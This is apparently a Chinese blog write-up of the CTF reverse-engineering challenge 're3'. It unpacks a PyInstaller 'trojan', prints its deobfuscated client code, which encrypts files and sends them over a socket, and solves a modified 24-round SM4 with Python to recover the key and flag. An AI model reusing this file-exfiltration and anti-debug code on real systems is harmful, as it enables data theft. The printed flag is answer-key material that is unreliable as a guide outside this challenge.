Home Of Steesha

BLOG

2026软件系统安全赛初赛 "re3" 单题题解

2026-03-14
2026软件系统安全赛初赛 "re3" 单题题解

关键词

Pyinstaller,Pyd逆向,Python代码混淆,Cython,SM4,魔改SM4。

题目

题目给了两个文件,一个是Wireshark的抓包文件,一个是ELF文件,也就是“木马”文件。

capture.pcap

首先分析pcap文件,追踪TCP流可知其中信息,显然JSON中flag.txt对应的ciphertext很可能就是答案。

d0edd4a1620f6f01db93699e7291bc570b7d8cdd4fa0a69a0839ca4b86a7bd8daacd74313e64da169697af402033a761

client.elf

然后我们转向分析client的逻辑,将其拖入IDA,清晰可见起PyInstaller的特征。

使用 pyinstxtractor 对其进行unpack,得到关键的client.pyc与crypt_core.so。

client.pyc

使用在线工具 Pylingual 对 client.pyc 进行反编译,并稍作修改,将要exec的值print出来。

import base64

# 1. Custom String Decryption Function (For Stage-2 payload to use)
def _oe(_d, _k1, _k2, _rn):
    try:
        # Step A: Base85 Decode
        _b = base64.b85decode(_d.encode())
        _r = []
        
        # Step B: XOR with rotating 3-byte key
        for _i, _x in enumerate(_b):
            _k = (_k1, _k2, _rn)[_i % 3]
            _r.append(_x ^ _k)
        
        _s = bytes(_r).decode()
        _res = []
        
        # Step C: Caesar-style shift on letters and numbers
        for _c in _s:
            if _c.isalpha():
                _base = ord("A") if _c.isupper() else ord("a")
                # Shifts character by _rn, wraps around alphabet
                _res.append(chr((ord(_c) - _base - _rn) % 26 + _base))
            elif _c.isdigit():
                # Shifts digits by _rn, wraps around 0-9
                _res.append(str((int(_c) - _rn) % 10))
            else:
                _res.append(_c)
                
        return "".join(_res)
    except:
        return _d

# 2. Build a custom Global Namespace to run the payload in
_globs = {
    '__name__': '__main__',
    '__file__': __file__,
    '__package__': None,
    '_oe': _oe
}

# Add imported modules to the execution environment

# 3. Anti-Debugging Check
def _obf_check():
    if hasattr(sys, 'gettrace'):
        _tr = sys.gettrace()
        if _tr is not None:
            return False # Debugger detected, abort!
    return True

# 4. Safe Execution Engine
def _obf_exec(_code):
    print(_code)

# 5. The Encrypted Stage-2 Payload
_1667 = '....'

# 6. Decrypt and Execute Main Payload
_obf_exec(base64.b85decode(_1667).decode())

可以得到第二层代码,注意 _oe 函数为字符串解密函数,在子层代码中也使用其来进行字符串解密,下面的代码即为子层部分关键代码,部分混淆的字符串经过手动解密。

sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
import crypt_core


class CustomBase64:
    CUSTOM_ALPHABET = 'QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890!@'
    STANDARD_ALPHABET = (
        'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    )
    ENCODE_TABLE = str.maketrans(STANDARD_ALPHABET, CUSTOM_ALPHABET)
    DECODE_TABLE = str.maketrans(CUSTOM_ALPHABET, STANDARD_ALPHABET)

    @classmethod
    def decode(cls, data: str) -> bytes:
        import base64

        std_b64 = data.translate(cls.DECODE_TABLE)
        return base64.b64decode(std_b64)


SERVER_HOST = ""
SERVER_PORT = 9999
KEY_B64 = 'eUYme4MkN1KSC1bWJZJ2w3FUJCiEXT13D2u1KmiNtfhXKZYE'
KEY = CustomBase64.decode(KEY_B64)
FILES_TO_SEND = [_oe("I-p}FvS)q0emD", 83, 214, 17), _oe("B(-BJ_<B6O", 83, 214, 17), _oe("C$MxRtZ99{emD", 83, 214, 17)]


def encrypt_file(key: bytes, plaintext: bytes) -> bytes:
    _state = 0
    _result = None
    while _state < 3:
        if _state == 0:
            if _opaque_true():
                _result = crypt_core.encode_data(plaintext, key[:16])
                _state = 2
            else:
                _dead_calc()
                _state = 1
        elif _state == 1:
            _dead_calc()
            _state = 2
        elif _state == 2:
            if _opaque_false():
                _result = None
            _state = 3
    return _result

def send_single_file(sock, filename, plaintext):
    _s = 0
    _ct = None
    _pl = None
    while _s < 5:
        if _s == 0:
            _ct = encrypt_file(KEY, plaintext)
            _s = 1
        elif _s == 1:
            _pl = {_oe("B&>2Jvtu`)", 83, 214, 17): filename, _oe("C#-fVpm;c-emD", 83, 214, 17): _ct.hex()}
            _s = 2
        elif _s == 2:
            if _opaque_true():
                sock.sendall(json.dumps(_pl).encode(_oe("KfPvt;{", 83, 214, 17)) + b"\n")
                _s = 4
            else:
                _dead_calc()
                _s = 3
        elif _s == 3:
            _dead_calc()
            _s = 4
        elif _s == 4:
            if not _opaque_false():
                time.sleep(0.1)
            _s = 5

注意到

# crypt_core.encode_data(plaintext, key[:16])
# encrypt_file(KEY, plaintext)
KEY_B64 = 'eUYme4MkN1KSC1bWJZJ2w3FUJCiEXT13D2u1KmiNtfhXKZYE'
KEY = CustomBase64.decode(KEY_B64)

可以解密得到密钥。

KEY
passvkcDKWLAA45ocFAXBPM63X4G8XzzTE1B

>>> KEY[:16]
passvkcDKWLAA45o

至此,client.pyc已分析完毕,加密逻辑清晰,即文件内容经过传参,到crypt_core库中的encode_data,密钥为KEY[:16],结果是hex,即为最开始分析pcap中的加密数据。

crypt_core.so

IDA载入,确认是Cython,F12找encode_data函数。

通过查阅Cython实现可找到 encode_data 实现。

经过C化的Python代码非常长,因为前面都是在对数据类型等进行检查,最后我们找到关键函数。

Modified SM4 Implement

可以观察到SM4特征。

我们采用Linux下python3.10进行动态调试,即可得到该函数参数,SM4(src, n, key);

追踪SM4的S盒,FK,CK参数的初始化,经过对比可知其为魔改数值。

但是仅对于这几个参数进行魔改,我发现加密后与crypt_core加密的结果完全不一致,所以经过对库漫长的调试,我找到了SM4轮函数F的最后一步实现

对其采用Logtrace

Logtrace结果与标准SM4(更改过系统参数S, CK, FK后)相比,其短了8轮。

我们将轮数进行魔改即可完成最后的魔改。

"""
^(按位与)的python符号是&.
√(按位或)的python符号是|
⊕(异或)的python符号是^.
"""
inf=0xFFFFFFFF#32位无符号整数的最大值(2^32-1)
#循环左移  x=[a1,a2,……,a32] 
def ROTL(x, n):
    x=x&inf#如果输入的数据太大,会限制到2^32-1的范围内.
    n=n%32#如果n>32,则限制到32以内的范围.
    #x=[a1,a2,……,a32]  则x>>(32-n) =[0,0,……,0,a1,a2,……,an] 
    #x<<(n) =[an+1,……a32,0,0,……,0]
    x = ((x << n) | (x >> (32 - n)))&inf
    return x
def T(x):
    x=x&inf
    return L(tau(x))
def T_(x):
    x=x&inf
    return L_(tau(x))  
#系统参数FK
FK=[0xA3B1BAC6,0x56AA3350,0x677D9197,0xB27022DC]

# 魔改
FK=[0x3B1F86A4, 0x83F7332D, 0x58ADBA8E, 0x71DC3F73]

#S盒
s_box=['d690e9fecce13db716b614c228fb2c05',
       '2b679a762abe04c3aa44132649860699',
       '9c4250f491ef987a33540b43edcfac62',
       'e4b31ca9c908e89580df94fa758f3fa6',
       '4707a7fcf37317ba83593c19e6854fa8',
       '686b81b27164da8bf8eb0f4b70569d35',
       '1e240e5e6358d1a225227c3b01217887',
       'd40046579fd327524c3602e7a0c4c89e',
       'eabf8ad240c738b5a3f7f2cef96115a1',
       'e0ae5da49b341a55ad933230f58cb1e3',
       '1df6e22e8266ca60c02923ab0d534e6f',
       'd5db3745defd8e2f03ff6a726d6c5b51',
       '8d1baf92bbddbc7f11d95c411f105ad8',
       '0ac13188a5cd7bbd2d74d012b8e5b4b0',
       '8969974a0c96777e65b9f109c56ec684',
       '18f07dec3adc4d2079ee5f3ed7cb3948']
       
# 魔改
s_box=  ['ecca0ef308f02aa23b182b5c37bd12a8',
           '05d3a1574f96fcf5a7141966589bbfb4',
           '39d51e1a30bc6c80b7ed4106d91767cd',
           '1d2cae240313c65383110af7c04dc49e',
           '8d001fc33f359fcb729d166facce3c5e',
           'a6e17b343632b895918952c1e7a33348',
           '04cf10eb25bb8e0f816eb343458f49f8',
           '4b59074adefdc8d0848bfbdadb28d43e',
           'a42f56beef86c762ea76e9d674a56bf9',
           '987d3a265aaf870d1b2eb2e36accf1ff',
           'd7f61cc9e870204e233dc2aadc0bf25f',
           '7afa889747d10c02317ff4751593388a',
           '429071dd73557eb55b294c9ae08cb0e5',
           '642701dfad2179949251697c22635085',
           '2de2404644a982b661d8d2b968abb15d',
           '655477a0c5ba609ce4feee99e6786d09']


# ck=[]
# for i in range(32):
#     cki=[]
#     for j in range(4):
#         cki.append('{:02x}'.format(((4*i+j)*7)%256))
#     ck.append(int(''.join(cki),16))
#固定参数CK的取值方法
CK=[0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269, 
0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9, 
0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249, 
0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9, 
0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229, 
0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299, 
0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209, 
0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279]

# 魔改
CK=[0x9A148706, 0x657904A4, 0xB0535D2D, 0x865C7AA7, 0xF7FEF2D4, 0xF09D3A8B, 0x67CB0390, 0xF3B1D1AA, 0x1941EDE3, 0xCDD55650, 0x272AA612, 0x397B1DC6, 0x767AAB6B, 0x71A39044, 0x8A77F592, 0x7B5A7907, 0x97D18251, 0xCA1960CB, 0x44B54134, 0x3F30C70A, 0x5EB36C72, 0x5569E716, 0x51BF832C, 0xF13A95BC, 0x92D9F824, 0xE75CED15, 0x4558D865, 0xBE5250CD, 0x8F658E94, 0xB4EA5DC0, 0xB0377FCE, 0x4DF44762]

def L(B):
    B=B&inf
    return B^ROTL(B,2)^ROTL(B,10)^ROTL(B,18)^ROTL(B,24)
#L'(B)函数
def L_(B):#13+23=36
    B=B&inf
    return B^ROTL(B,13)^ROTL(B,23)

block_size=32#origin_str应该以128比特为块进行处理,先要进行padding.

def tau(A):
    A=A&inf
    A='{:032b}'.format(A)
    b=""
    for idx in range(4):
        a_idx=A[idx*8:(idx+1)*8]
        a_idx1,a_idx2=int(a_idx[:4], 2),int(a_idx[4:],2)
        b+=(s_box[a_idx1][2*a_idx2:2*(a_idx2+1)])
    return int(b,16)
    
#轮函数F
def F(x0,x1,x2,x3,rk):
    # print(hex(x0), hex(x1), hex(x2), hex(x3), hex(rk))
    x0=x0&inf
    x1=x1&inf
    x2=x2&inf
    x3=x3&inf
    rk=rk&inf
    t = T(x1^x2^x3^rk)
    print('T=', hex(t))
    print('x0^t=', hex(x0^t))
    return x0^t

def round_key(MK):
    K=[0]*36
    K[0],K[1]=int(MK[:block_size//4],16)^FK[0],int(MK[block_size//4:block_size//2], 16)^FK[1]
    K[2],K[3]=int(MK[block_size//2:3*block_size//4],16)^FK[2],int(MK[3*block_size//4:], 16)^FK[3]
    for idx in range(32):
        K[idx+4]=(K[idx]^T_(K[idx+1]^K[idx+2]^K[idx+3]^CK[idx]))
    print([hex(i) for i in K])
    return K[4:]
    
def SM4_encode(key='0123456789abcdeffedcba9876543210', origin_str="hello"):
    block_size = 16  # Standard SM4 block size in bytes

    origin_bytes = origin_str.encode('utf-8')

    padding_size = block_size - (len(origin_bytes) % block_size)
    padded_data = origin_bytes + bytes([padding_size] * padding_size)
    
    origin_hex = padded_data.hex()
    
    encode_str = ""
    hex_block_size = block_size * 2 
    
    for idx in range(0, len(origin_hex), hex_block_size):
        group = origin_hex[idx : idx + hex_block_size]
        
        X = [0] * 36
        X[0] = int(group[0:8], 16)
        X[1] = int(group[8:16], 16)
        X[2] = int(group[16:24], 16)
        X[3] = int(group[24:32], 16)
        
        rk = round_key(key)
        for i in range(len(rk) - 8):
            X[i+4] = F(X[i], X[i+1], X[i+2], X[i+3], rk[i])
  
        y = X[32-8:][::-1]
        print(y)
        for i in range(len(y) - 8):
            encode_str += format(y[i+8], '08x')
            
    return encode_str
 
import struct
def SM4_decode(key, cipher_hex):
    block_size = 16
    hex_block_size = block_size * 2
    
    # 1. 生成轮密钥 (确保 round_key 函数使用你的魔改 FK 和 CK)
    rk = round_key(key)
    # 按照加密逻辑,只取前 24 轮密钥
    rk_used = rk[:24]
    # 解密时,轮密钥必须逆序排列: rk[23], rk[22], ..., rk[0]
    rk_decrypt = rk_used[::-1]
    
    decode_bytes = b""
    
    # 2. 分组处理密文
    for idx in range(0, len(cipher_hex), hex_block_size):
        group = cipher_hex[idx : idx + hex_block_size]
        
        # 初始化状态 X
        # 注意:解密输入的 X[0]-X[3] 是密文分组
        X = [0] * 28 # 24 轮只需 24+4 = 28 个空间
        X[0] = int(group[0:8], 16)
        X[1] = int(group[8:16], 16)
        X[2] = int(group[16:24], 16)
        X[3] = int(group[24:32], 16)
        
        # 3. 迭代 24 轮
        for i in range(24):
            X[i+4] = F(X[i], X[i+1], X[i+2], X[i+3], rk_decrypt[i])
            
        # 4. 反序变换 (Reverse Transformation)
        # 取最后四个状态字并逆序,得到明文块
        y = X[24:28][::-1]
        for val in y:
            decode_bytes += struct.pack('>I', val)
            
    # 5. 去除 PKCS#7 填充
    padding_size = decode_bytes[-1]
    if padding_size < 1 or padding_size > 16:
        # 如果填充异常,可能密钥或逻辑有误
        return decode_bytes.decode('utf-8', errors='ignore')
    
    final_plain = decode_bytes[:-padding_size]
    return final_plain.decode('utf-8')
    
if __name__ == '__main__':
    # print(SM4_encode(key=b'passvkcDKWLAA45o'.hex(), origin_str='abcd'))
    print(SM4_decode(b'passvkcDKWLAA45o'.hex(), 'd0edd4a1620f6f01db93699e7291bc570b7d8cdd4fa0a69a0839ca4b86a7bd8daacd74313e64da169697af402033a761'))
    # dart{f4b547fc-b3d0-44c3-bf21-8f3fb5ad3220}